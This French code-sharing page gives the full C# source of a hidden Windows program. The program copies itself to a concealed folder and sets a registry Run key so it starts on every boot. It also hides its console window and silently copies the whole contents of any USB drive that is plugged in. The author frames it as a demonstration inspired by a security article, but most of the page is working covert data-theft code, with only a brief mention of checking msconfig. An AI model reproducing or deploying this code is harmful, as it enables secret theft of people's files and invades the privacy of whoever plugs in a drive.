Copie de clé usb automatique

Description

Suite à la lecture d'un article sur la sécurité j'ai été inspiré de faire ce petit programme qui montre bien la facilité à copier du contenu sans trop attirer l'attention.

Le programme, une fois exécuté, crée un dossier caché, se copie et installe une clé de registre qui permet de le faire exécuter à chaque démarrage. Il est possible en faisant démarrer-->exécuter-->msconfig de voir les fichiers qui s'ouvre au démarrage.
Il détecte si un disque amovible est inséré et copie le contenu dans le dossier avec un nom aléatoire.

Source / Exemple :


//////////////////////////////////////////////////////////////////////////////////////////////////////
/// créé le 2 Août 2010 et fonctionnel sur XP, modifié 13 août 2010
/// http://jo.comoj.com 
//////////////////////////////////////////////////////////////////////////////////////////////////////
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using Microsoft.Win32;
using System.Runtime.InteropServices;

namespace ConsoleApplication17
{
    class Program
    {
        // importte des dll pour cacher la fenêtre
        [DllImport("user32.dll")]
        public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
        [DllImport("user32.dll")]
        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

        // Crée un nombre aléatoire pour un nom de dossier
        static Random rndNumbers = new Random();

        
        static void Main(string[] args)
        {
            //vérifie si le répertoire qui reçoit les données existe 
            if (!Directory.Exists(@"C:\test\"))
            {
                //sinon on le crée
                Directory.CreateDirectory(@"C:\test\");
               // Console.WriteLine("répertoire créé");
               // Console.ReadKey();

                // l'exécutable se copie directement dans le répertoire cible 
                //Environment.CurrentDirectory+"usbcopie.exe"
                File.Copy(System.Reflection.Assembly.GetExecutingAssembly().Location, @"C:\test\usbcopie.exe");
              //  Console.WriteLine("fichier exécutable copié");

                // mettre l'atrribut du répertoire caché 
                DirectoryInfo dirInfo = new DirectoryInfo(@"C:\test\");
                dirInfo.Attributes = FileAttributes.Hidden;
               // Console.WriteLine("attribut du répertoire : \"caché\"");
               // Console.ReadKey();
            }
            
            //Console.ReadKey();

  RegistryKey rkApp = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);  //On //ouvre toujours la clé
      if (!rkApp.GetValueNames().Any(s => s == "Bobo"))  //Si la donnée n'existe pas, on la crée
      {
        //name of your application as you want it to appear in msconfig
        rkApp.SetValue("Bobo", @"C:\test\usbcopie.exe");
      }

            // Cache la fenêtre ... 
            IntPtr hWnd = FindWindow(null, Console.Title);
            if (hWnd != IntPtr.Zero)// cache la fenêtre en cours 
                ShowWindow(hWnd, 0); // 0 = SW_HIDE
            OkGo();
            
        }

        static private void OkGo()
        {
            // on enregistre le nombre de disques présent sur le système 
            int nrbLecteurs = DriveInfo.GetDrives().Length;
            int noDossier=rndNumbers.Next();
            while (true)
            {
                // si le nombre de lecteurs a changé
                if (DriveInfo.GetDrives().Length > nrbLecteurs)
                {
                    // Pour chaque lecteur 
                    foreach (DriveInfo di in DriveInfo.GetDrives())
                    {
                        // Si c'est un disque amovible
                        if (di.DriveType == DriveType.Removable)
                        {

                            DirectoryInfo lecteurUSB = new DirectoryInfo(di.RootDirectory.ToString());
                            while (Directory.Exists(@"C:\test\" + noDossier))
                                noDossier=rndNumbers.Next();
                            DirectoryInfo receptacle = new DirectoryInfo(@"C:\test\" + noDossier);

                            Copie(lecteurUSB, receptacle);

                            //on incrémente le nom du répertoire pour une future sauvegarde
                            rndNumbers.Next();
                           // Console.WriteLine("ok bob" + receptacle.ToString() + lecteurUSB.ToString());
                        }
                    }
                }
                 // on enregistre le nombre de lecteurs pour détecter les insersions 
                    nrbLecteurs = DriveInfo.GetDrives().Length;
                // dort pour pas engorgée le système 
                System.Threading.Thread.Sleep(1000);

            }
        }

        // Copie récursive du lecteur USB 
        public static void Copie(DirectoryInfo source, DirectoryInfo cible)
        {
            // Vérifie si le répertoire existe, sinon il le crée
            if (!Directory.Exists(cible.FullName))
            {
                Directory.CreateDirectory(cible.FullName);
            }

            // copie chaque fichier dans le nouveau répertoire 
            foreach (FileInfo fichier in source.GetFiles())
            {
                try
                {
                    fichier.CopyTo(Path.Combine(cible.ToString(), fichier.Name));
                }
                catch { fichier.CopyTo(Path.Combine(cible.ToString(), rndNumbers + fichier.Name)); }
            }

            // Copie chaque répertoire de la source
            foreach (DirectoryInfo sousRepertoire in source.GetDirectories())
            {
                // crée un sous-répertoire dans le répertoire cible et rappel la méthode avec comme source un répertoire
                DirectoryInfo prochaineCible =
                    cible.CreateSubdirectory(sousRepertoire.Name);
                Copie(sousRepertoire, prochaineCible);
            }
        }

    }
}

Conclusion :


Ceci est un exemple seulement, il faudrait bien sûr limiter l'espace à copier par exemple 10Go et s'assurer que les noms des répertoires ne puissent revenir deux fois, etc.. ,etc..

Codes Sources

A voir également

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.

Du même auteur (pigedanslelac)